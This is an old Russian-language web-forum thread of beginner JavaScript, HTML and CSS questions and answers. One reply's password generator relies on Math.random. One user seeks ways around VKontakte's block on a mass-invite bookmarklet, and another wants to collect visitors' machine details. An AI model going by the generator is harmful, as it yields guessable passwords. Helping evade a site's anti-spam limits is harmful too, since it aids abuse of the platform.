Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file
Не проверять же на серваке кодировку данных...
я уже заи"лсо, блин
astrologer
20.06.2008, 18:25
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251
Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file
Не проверять же на серваке кодировку данных...
я уже заи"лсо, блинРазве на точке (http://xpoint.ru/forums/programming/javascript/misc/thread/42877.xhtml) не ответили? :)
Кстати, jQuery добавляет дополнительный заголовок к запросу:
// Set header so the called script knows that it's an XMLHttpRequest
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
Разве на точке не ответили?
Кстати, jQuery добавляет дополнительный заголовок к запросу:
Код:
// Set header so the called script knows that it's an XMLHttpRequest xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
Блин, самое оно :), работы много нету даже времени искать :)? все горит
если сог бы купил бы тебе пива :)
пыси
твой пост 666-ой :)
Никак не могу сообразить код проги(((
http://it.kait20.ru/8/
Надо сделать такую вот прогу, кому не сложно, прошу помочь. Заранее спасибо.
как можно найти на странице все элементы, содержащие в своём onclick определённую фразу + рандомный текст?
дайте подсказку :) ниче в голову не приходит
ПС без фреймворков
GreenBear
23.06.2008, 18:49
ну типа подсказка.
str = document.elements[i].getAttribure('onclick');
if(str.match(//)){
alert('ok');
}
nikolya, вот держи на javascript.
может, можно и улучшить :) написал на скорую руку
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Генератор паролей</title>
<script type="text/javascript">
<!--
function genPass()
{
if(document.getElementById('ch1').checked == true){
ch = new Array ('a','b','c','d','e','f','g','h','i','j','k','l',' m','n','o','p','q','r','s','t','u','v','w','x','y' ,'z');
chName = 'a'; // 26
}else if(document.getElementById('ch2').checked == true){
ch = new Array ('A','B','C','D','E','F','G','H','I','J','K','L',' M','N','O','P','Q','R','S','T','U','V','W','X','Y' ,'Z');
chName = 'A'; // 26
}else if(document.getElementById('ch3').checked == true){
ch = new Array ('0','1','2','3','4','5','6','7','8','9');
chName = '0'; // 10
}
num = parseInt(document.getElementById('num').value);
if(isNaN(num)){
alert('введите число символов');
return false;
}
newPass = '';
for(i=0;i<num;i++){
if(chName == 'a' || chName == 'A'){
randNum = Math.round(0 + (26-1)*Math.random());
}else if(chName == '0'){
randNum = Math.round(0 + (10-1)*Math.random());
}
newPass += ch[randNum];
}
document.getElementById('pass').value = newPass;
};
//-->
</script>
</head>
<body>
<form action='http://rambler.ru'>
<table width="400" align="center" border="0">
<tr>
<td colspan="2" align="center">
Произведите выбор желаемых символов в пароле</td>
</tr>
<tr>
<td align="right" width="50%">
a-z</td>
<td width="50%">
<input type="radio" id='ch1' name="radio"></td>
</tr>
<tr>
<td align="right">
A-Z</td>
<td>
<input type="radio" id='ch2' name="radio"></td>
</tr>
<tr>
<td align="right">
0-9</td>
<td>
<input type="radio" checked="true" id='ch3' name="radio"></td>
</tr>
<tr>
<td align="right">
Число символов</td>
<td>
<input type="text" maxlength="3" value='' id='num' size="3"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="gen" value="Генерировать" onclick='genPass(); return false'>
<input type="reset" value="Очистить"></td>
</tr>
<tr>
<td align='center' colspan='2' height='50' valign='bottom'>Пароль: <input type='text' size='50' id='pass' /></td>
</tr>
</table>
</body>
</html>
ниче не понимаю.. document.elements[i] не распознается ни одним браузером, че это ваще такое?
firebug орёт document.elements has no properties
astrologer
23.06.2008, 20:42
ниче не понимаю.. document.elements[i] не распознается ни одним браузером, че это ваще такое?
firebug орёт document.elements has no propertiesЭто псевдокод.
тьфу ты ёпт!..
я вот и не могу придумать, как перебрать все элементы на странице..
в сети нашёл даже примеры использования этого массива elements
сцуко =\
astrologer
24.06.2008, 13:06
1) Перебор «в лоб»:var result = [], query = 'фраза', nodes = document.getElementsByTagName('*'), l = nodes.length, i = 0;
for(;i<l;i++)
{
if((nodes[i].getAttribute('onclick') + '').indexOf(query) > -1) result.push(nodes[i]);
}
2) С помощью XPath, ощутимо быстрее:var
query = 'фраза',
path = '//*[contains(@onclick, "' + query + '")]',
where = document.body,
doc =
(
where.nodeType == 9
? where
: where.ownerDocument || where.document || document
),
result = null;
if(where.selectNodes)
{
result = where.selectNodes(path);
}
else if(doc.evaluate)
{
result = doc.evaluate(path, where, null, 5, null);
}
3) TreeWalker (http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#TreeWalker)
4) NodeIterator (http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Iterator-overview)
5) Зависит от задачи.
как обновить страницу ява скриптом?
RevenAnt
26.06.2008, 11:15
к примеру <a href="JavaScript:location.reload(true);">
Refresh this page
</a>
Shadow_p1raT
27.06.2008, 12:41
к примеру
Цитата:<a href="javascript:location.reload(true);">
Refresh this page
</a>
А можно ли эмитировать нажатие Refresh this page?
Shadow_p1raT
27.06.2008, 13:07
Уже не надо,дошло.
MafiaBoy3
28.06.2008, 15:17
Мне непонятно следующее кто знает о чём я:
отрывок кода css с digga
html {
min-width: 945px;
} /*IE7*/
чё он делает и что за комментарий /*IE7*/
Также непонятно следующее:
Весь основной код главной страницы digga начинается с <div id="container"> который следует прям сразу за <body>
Мне непонятно зачем юзать container когда сразу за ним идут divы для меню, содержания и т.д.
код containera такой
#container{
margin: 0 auto;
max-width: 1200px; /*эта строка мне также ? */
position: relative;
text-align: left;
}
html {
min-width: 945px;
} /*IE7*/
чё он делает и что за комментарий /*IE7*/
#container{
margin: 0 auto;
max-width: 1200px; /*эта строка мне также ? */
position: relative;
text-align: left;
}
min-width: 945px; - Минимальноя ширина! То есть макет там резиновый и если окно браузера сделать меньше чем на 945 пикселеи то макет уже не резиновыи и поивляется скроллер. Надеюсь понял.
max-width: 1200px; /*эта строка мне также ? */
Тож так. Тоесть больше чем на 1200 пикселей он не тянется.
Весь основной код главной страницы digga начинается с <div id="container"> который следует прям сразу за <body>
Мне непонятно зачем юзать container когда сразу за ним идут divы для меню, содержания и т.д.
Так смотри сам контеинер закрывается не перед тегом боди!
Тоесть после него идут ешё дивы для которых нужны другие стили!
Чтото вроде
<body>
<div id="cont">
<div id="menu">
<ol><li>sad</li>
<li>sdad</li></ol>
</div>
</div>
<div id="footer">
</div>
<body>
Понял?)
MafiaBoy3
28.06.2008, 16:51
Да спасибо
А каковы первоначальные размеры любой Html страницы (по умолчанию)?
А каковы первоначальные размеры любой Html страницы (по умолчанию)?
От 0 до +oo px :D
Смотря как если на странице есть картинка к примеру размером 100x100px и таблица шириноив 100% то её размер в IE будет от 102 кажется до +оо
В Опере от 100 до +оо
MafiaBoy3
28.06.2008, 17:07
да нет 800 или 1000 или СКОЛЬКО px?
Да спасибо
А каковы первоначальные размеры любой Html страницы (по умолчанию)?
помоему у нее нет размеров , тк первоначально html страница это пустой файл, размеры задаешь ты
Вконтакте заблочили приглашение друзей на мероприятия путем этого скрипта.
javascript:for(var i = 0; i < 5000; i++) document.inviteFriends.elements[i].checked = true;
Есть ли другие варианты?
Есть вопрос: можно ли сделать так, что страничка по нажатии кнопки обращалась к пхп скрипту и получив от него какой нибудь результат выводила его?
Помогите, если не трудно.
я в аякс 0 ..=\
есть две кнопки сохранить и удалить мне нужно чтоб они были disabled до тех пор пока не будет отмеченое в сообщение type="checkbox"
Как получить значение между тегами <option></option> не дублирую его в value ?
я в аякс 0 ..=\
есть две кнопки сохранить и удалить мне нужно чтоб они были disabled до тех пор пока не будет отмеченое в сообщение type="checkbox"
легко:
<input id="save" type="button" value="сохранить" disabled="disabled" /> <input id="del" type="button" value="удалить" disabled="disabled" />
<input id="check" type="checkbox" onChange="if(this.checked){document.all.save.disabled=false; document.all.del.disabled=false;}else{document.all .save.disabled=true; document.all.del.disabled=true;}" />
спасиб...но тогда явакод придеца к каждому checkbox дописывать.. как етот явакод вытащить мож в функцыю по индификатору.. ?)
вот так извратился:
<script language="javascript">
var idd = "";
function func(idd){
if(document.getElementById("check"+idd).checked){
document.getElementById("save"+idd).disabled=false;
document.getElementById("del"+idd).disabled=false;
}
else{
document.getElementById("save"+idd).disabled=true;
document.getElementById("del"+idd).disabled=true;
}
}
</script>
<input id="save1" type="button" value="сохранить" disabled="disabled" /> <input id="del1" type="button" value="удалить" disabled="disabled" />
<input id="check1" type="checkbox" onChange="func(1)" />
<input id="save2" type="button" value="сохранить" disabled="disabled" /> <input id="del2" type="button" value="удалить" disabled="disabled" />
<input id="check2" type="checkbox" onChange="func(2)" />
P.S. почисти ПМ ;)
Так кто подскажет, как получить значение между тегами <option></option>?
HELP!!!
MafiaBoy3
09.07.2008, 17:53
Как создать меню как на сайте mozilla.com. Мне для своего сайта нужно создать копию такого меню (разворачивающегося), но я запутался во всём этом.
Помогите , люди добрые.
А. всем спасибо, сам разобрался, скрипт меняет все value на значение между тегами <option></option>
<script language="javascript" >
function my_options(){
for(var i=0; i < 4; i++){
document.getElementById("country").options[i].value = document.getElementById("country").options[i].text;
}
}
</script>
<select size="1" name="country" onchange="my_options()">
<option value=1>Бенин</option>
<option value=2>Бермуда</option>
<option value=3>Болгария</option>
<option value=4>Боливия</option>
</select>
MafiaBoy3
09.07.2008, 18:10
Как создать меню как на сайте mozilla.com. Мне для своего сайта нужно создать копию такого меню (разворачивающегося), но я запутался во всём этом.
Помогите , люди добрые.
Ммм... ну прям точно как на mozilla.com ты не сделаешь, т.к. там используется Yahoo UI и еше куча всего, вообще код просто огромный чтоб его разбирать и выдрать именно ту часть, которая отвечает за меню.
Намного проще будет сделать без всяких фреймворков как я написал тут: https://forum.antichat.ru/showpost.php?p=766052&postcount=5
Если этого не понимаешь, тогда учи дальше html/js.
m0nsieur
09.07.2008, 18:35
вот еще пример - http://www.webmagazine.biz/articles/css-vertical-dropdown-menu.html
Nightmarе
10.07.2008, 03:38
У меня 2 вопроса.
1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?
2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.
-=Static=-
10.07.2008, 04:01
У меня 2 вопроса.
1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?
2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.
1) как вариант:
<script language="JavaScript">
function GetScreenSize()
{
var height=0;
var width=0;
if (self.screen) { // for NN4 and IE4
width = screen.width
height = screen.height
}
else if (self.java) { // for NN3 with enabled Java
var jkit = java.awt.Toolkit.getDefaultToolkit();
var scrsize = jkit.getScreenSize();
width = scrsize.width;
height = scrsize.height;
}
//alert(width);
ed = document.getElementById("Edit");
ed.value = width + '*' + height;
}
</script>
<body onLoad="GetScreenSize();">
<input type="text" name="Edit" id="Edit">
</body>
2) Вот поизучай. http://www.tigir.com/javascript.htm
У меня 2 вопроса.
1) Вот у меня например поле Edit:
<input type="text" name="Edit">
И есть ява код на получение разрешение экрана
<script language="JavaScript">document.write(screen.width +' x '+screen.height)</script>
Как мне сделать так, чтобы при загрузке странички в поле Edit уже было разрешение экрана?
2) Помимо разрешения экрана, какую ещё информацию на ява можно получить о клиенте? Имеется ввиду то, что можно получить только с помощью явы.
У меня 2 ответа:
1)
<input type="text" name="edit" />
<script>
document.getElementById("edit").value=screen.width +' x '+screen.height;
</script>
2) Можно еще получить информацию об операционной системе, о броузере и др.
Nightmarе
10.07.2008, 04:46
спс. У меня код не пашет :(
Операционную систему и т.д... можно получить и стандартными средствами php на серваке.
Я имею ввиду индивидуальные параметры... там имя компа, серийный номер... я хз что там можно... но если на стороне клиента юзается то может сто и можно...
GreenBear
10.07.2008, 09:28
спс. У меня код не пашет
<input type="text" name="edit" id="edit"> <script type="text/javascript"> document.getElementById("edit").value=screen.width +' x '+screen.height; </script>]
-=Static=-
10.07.2008, 10:13
спс. У меня код не пашет :(
Я ж те на предыдущей странице написал)
Nightmarе
10.07.2008, 12:45
-=Static=- спс не заметил.
GreenBear тоже спс!!!
Всем привет!
Есть у когонить скриптик чтоб переделать низспадаюющий список.
т.е. есть список(низспадабщий) его надо переделать под диз сайта,знаю что на яве можно но не нашел.
нужно чтоб список был без границы и был прозрачен
<select class="text1" name="speed"><option class="text1">выберите скорость</option> <option class="text1" value="t1">256Kb/s</option> <option class="text1" value="t2">512Kb/s</option> <option class="text1" value="t3">1024Kb/s</option><option class="text1" value="t4">2048Kb/s</option></select>
сам выезжающий список незнаю как сделать а вот дизайн самого поля http://pyromax.ru/ в правом верхнем углу поле поиска, можно что нить подобное сделать, без всякой там явы
Поле сделать легко,вот спико попробуй также )
Проблема в том, что opacity(прозрачность) и границы можно приминить только к <select>, к <option> эти параметры не действуют(только к тексту внутри, но не к самому элементу..). Или я что-то не так делаю.. .
поэтому я и спросил есть у кого ява ))) через нее можно 100%
Прозрачность для разных броузеров:
style=
"filter:alpha(opacity=50); /* IE 5.5+*/
-moz-opacity: 0.5; /* Mozilla 1.6 и ниже */
-khtml-opacity: 0.5; /* Konqueror 3.1, Safari 1.1 */
opacity: 0.5; /* CSS3 - Mozilla 1.7b +, Firefox 0.9 +, Safari 1.2+, Opera 9 */ "
но вот к <select> эти правила применимы, а к <option> хз
есть еще такое свойство background:inherit элементам присвоится родительский цвет...
<option value="u" style="background-color: red;color: #FFFFFF;">доставка курьером</option>
вот это срабатывает. попробуй ксской подогнать под дизайн, фон и цвет шрифта у меня поменялся, попоробуй мож еще чо поменяется, кароч експерементируй
все проблема решена,нашел яву все сделал ,спасибо кто откликнулся )))
З.Ы. мне еще надо было скрол убрать
Можешь выложить скрипт который помог? Очень интересно посмотреть..
Nightmarе
10.07.2008, 21:23
Можно ли на ява получить имя компа, или какие нить параметры компа? Типа процессор оперативка и т.д... (про браузер и ОСЬ можно не писать)
Можно ли на ява получить имя компа, или какие нить параметры компа? Типа процессор оперативка и т.д... (про браузер и ОСЬ можно не писать)
вот:
<script language=JavaScript>
<!--
myClientObj = window.clientInformation;
document.write('Номер кода приложения: ' + myClientObj.appCodeName + '<br>');
document.write('Минор-версия приложения: ' + myClientObj.appMinorVersion + '<br>');
document.write('Тип броузера: ' + myClientObj.appName + '<br>');
document.write('Версия броузера: ' + myClientObj.appVersion + '<br>');
document.write('Язык броузера: ' + myClientObj.browserLanguage + '<br>');
document.write('Cookies: ' + myClientObj.cookieEnabled + '<br>');
document.write('Класс процессора: ' + myClientObj.cpuClass + '<br>');
document.write('Автономная работа: ' + myClientObj.onLine + '<br>');
document.write('Платформа: ' + myClientObj.platform + '<br>');
document.write('Системный язык: ' + myClientObj.systemLanguage + '<br>');
document.write('Агент пользователя: ' + myClientObj.userAgent + '<br>');
document.write('Язык пользователя: ' + myClientObj.userLanguage + '<br>');
document.write('Машина Java: ' + myClientObj.javaEnabled() + '<br>');
document.write('Страница с фреймом: ' + ((self!=top)?"Да":"Нет") + '<br>');
document.write('Разрешение экрана: ' + screen.width + "x" + screen.height + "x" + (screen.colorDepth?screen.colorDepth:screen.pixelD epth) + '<br>');
//-->
</script>
на выходе:
Номер кода приложения: Mozilla
Минор-версия приложения: 0
Тип броузера: Microsoft Internet Explorer
Версия броузера: 4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRSPUTNIK 2, 0, 0, 20 SW; MRA 5.0 (build 02094); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Язык броузера: ru
Cookies: true
Класс процессора: x86
Автономная работа: true
Платформа: Win32
Системный язык: ru
Агент пользователя: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRSPUTNIK 2, 0, 0, 20 SW; MRA 5.0 (build 02094); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Язык пользователя: ru
Машина Java: true
Страница с фреймом: Нет
Разрешение экрана: 1440x900x32
Но ты знаешь, вроде бы можно узнать объёмы диска С и что то еще даже... + через flash что то можно забрать + php ... У меня было 3 в одном скриптишка, не могу найти :(
Nightmarе
10.07.2008, 23:32
мдя... это и яжу понятно что браузер IP и ось можно получить... и на php и как угодно.
Другое дело может есть какой эксклюзивчик поскольку выполняется у клиента...
Ну ладно спс. Нельзя значит походу. будем курить флеш.
Help Me! Нужна путёвая книга по Ajax! Где можно качнуть?
Посоветуйте что нить... Сори, за оффтоп
Vanofuture
11.07.2008, 20:13
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
P(i)n*Fl0p1
12.07.2008, 11:13
var nA,nB=5,nC=10
do{
nA=nB+nC
nC++
document.write(nA)}
while(nA=>15)
Подскажите что неправильно?)Не выводит
astrologer
12.07.2008, 19:34
<pre>
<script type="text/javascript">
var nA, nB = 5, nC = 10;
do
{
document.writeln(nA = nB + nC++);
}
while(nA >= 15);
</script>
</pre>
BTW, цикл бесконечный, можно и так написать:<pre>
<script type="text/javascript">
var nA = 15;
while(true) document.writeln(nA++);
</script>
</pre>
heretic1990
15.07.2008, 21:26
нужен скрипт поисковика: поисковик должен искать текст, а точнее строку в отдельном Txt файле. возмодно ли такое? если да то как
m0nsieur
15.07.2008, 23:26
Если строка имеет какие-то критерии по которым ее можно найти, то используй регулярные выражения.
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
=> google.ru
Вопросик :
Как можно перевести Vb скрипты на Js.
Можно как-нить автоматизировать процес ???
-=Static=-
17.07.2008, 01:26
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
_http://www.rsdn.ru/article/inet/jQuery.xml
_http://jquery.com/
Этого должно хватить )
Хотел бы научится работать с jQuery. Посоветуйте сайт или материал какой-нибудь =)
http://forum.antichat.ru/thread67436-jquery.html
как использывать скрипты???
как использывать скрипты???
Впиши эту строчку <script language="javascript"></script> между тегами <head></head> или <body></body>, а уже там пиши код скрипта... Можно файл вынести в отдельный документ <script type="text/javascript" src="путь к файлу"></script>
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option
пример
<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
Как узнать id выбраного option ?
С помощью jquery и без...
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option
пример
<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
Как узнать id выбраного option ?
С помощью jquery и без...
Вот тут чо то намутил на js:
<select name="myselect" onchange="for(var i=0;i<3;i++){if(this.options[i].selected){alert(this.options[i].id);}}">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
mff
Так ты привязуешся к конкретным значениям
да и вообще, это абсурд перечислять элементы по значениям id (кста id могут быть и 45, 455, 369)
Нужно типа, this.child.nodeValue.id
var object = document.getElementById('el');
for (var childItem in object.childNodes) {
if (Ротомок выбран)
alert( object.childNodes[childItem].id );
}
самому интересно, как так сделать :)
Vanofuture
19.07.2008, 00:31
Что-то я туплю...
У нас есть select, при изменение (onchange), нам нужно узнать id выбранного option
пример
<select name="myselect" onchange="myfunk(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
Как узнать id выбраного option ?
С помощью jquery и без...
Может я чёт не понял, но вроде так:
<select name="myselect" onchange="getSelId(this)">
<option id="1" value="test1">name1</option>
<option id="2" value="test2">name2</option>
<option id="3" value="test3">name3</option>
</select>
<script type="text/javascript">
function getSelId(obj){
alert(obj.options[obj.selectedIndex].id);}
</script>
Подскажите, как правильно реализовать, нужно чтобы при вводе в текстовое поле трёх символов срабатывала функция, например alert();
<input type="text" name="number" maxlength="3" />
<input type="button" name="ok" value="ok" onclick="alert(document.getElementById('number').value);" />
Vanofuture
21.07.2008, 19:36
Подскажите, как правильно реализовать, нужно чтобы при вводе в текстовое поле трёх символов срабатывала функция, например alert();
<input type="text" onkeyup="if(this.value.length==3){alert(this.value);}" name="number" maxlength="3" />
Подскажите плиз, никак не могу разобраться
я с помощью вот этой херни
http://xhtml.ru/2008/05/14/sessvars/
сделал сохранение товаров в своем интернет магазине
вот скрипт сохранения
sessvars.inbasket = new Array();
for(j=0;j<toBuy.length;j++)
{
sessvars.inbasket[j+plus]={articul: tId[j], name: tName[j], price: tPrice[j], kolvo: Count[j]};
}
в опере и ИЕ нормально создается массив и товар сохраняется, а в мазиле не сохраняет, что можно сделать чтобы сохранял?
Требуется сделать 2 кнопки: "вставить из буфера" и "скопировать в буфер" + привязать их к <textarea>
Подскажите в каком направлении идти?
Vanofuture
22.07.2008, 20:36
Требуется сделать 2 кнопки: "вставить из буфера" и "скопировать в буфер" + привязать их к <textarea>
Подскажите в каком направлении идти?
Так как такие браузеры как Firefox и Opera не разрешают JavaScript'у работать с буффером из-за безопасти, то надо юзать флеш.
Не знаю как с вставкой из буффера, но вот ссыль (http://webchicanery.com/code/clipbjavascript.zip) на копирование в буффер.
Так как такие браузеры как Firefox и Opera не разрешают JavaScript'у работать с буффером из-за безопасти
А джаваскриптовые WISYWIG'и ?
Или они не пашут с вордовскими функциями в мазилле?
------------------
Действительно не работаеют :(
h_ttp://www.mozilla.org/editor/midasdemo/securityprefs.html
Столько времени работал, и не обращал особого внимания, на набор вордовских функций
mff
Если интересен сам механизм, то скачай TinyMce, и возьми готовый плагин
Да, WISYWIG'и пашут только в IE :(
Спасибо Vanofuture, Naydav!
MafiaBoy3
24.07.2008, 16:03
Я Новичок с большой буквы
Как можно на своём сайте сделать хедеры как на вконтакте.ру? На вконтакте это: образование, информация и. т.д. Когда заходишь на вконтакте.ру хеадеры развёрнуты. Когда по ним щелкаешь - сворачиваютя. Ещё щёлкаешь разворачиваются.
Интересен сам принцип реализации.
Shadow_p1raT
24.07.2008, 16:09
Тут всё что тебе надо http://anton.shevchuk.name/javascript/jquery-for-beginners/
MafiaBoy3
24.07.2008, 16:12
нифига. там примеры немножко другие (гармошка и выдвижная панель в частности)
life_is_shit
24.07.2008, 16:32
demos.mootools.net поищи в примерах=) удачи
Помогите) вот пишу небольшой чатик для себя. небольшая лажа с смайлами, не знаю как сделать чтобы с миниокошка со смайлами кидалась строка типо :fs: в инпут в главном окне.
function vivodsmiles()
{
global $files;
$text="<html><meta http-equiv=Content-Type content=text/html; charset=windows-1251>";
foreach ($files as $key=>$value)
{
$text=$text."<input type=image src=smiles/$value.gif>";
//if(($key%6)=='0') echo '<br>';
}
$text=$text."</html>";
return $text;
}
$smm=vivodsmiles();
echo "<script>
function winop(){
var win=window.open('','','width=400,height=120')
win.document.open()
win.document.write('$smm')
win.document.close()
}
</script>";
<img src="smile.gif" onclick="document.getElementById('поле ввода сообщения').value=':fs:'">
<input id="поле ввода сообщения" type="text" value="">
тока id поменяй на нормальный, я для наглядности так назвал
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot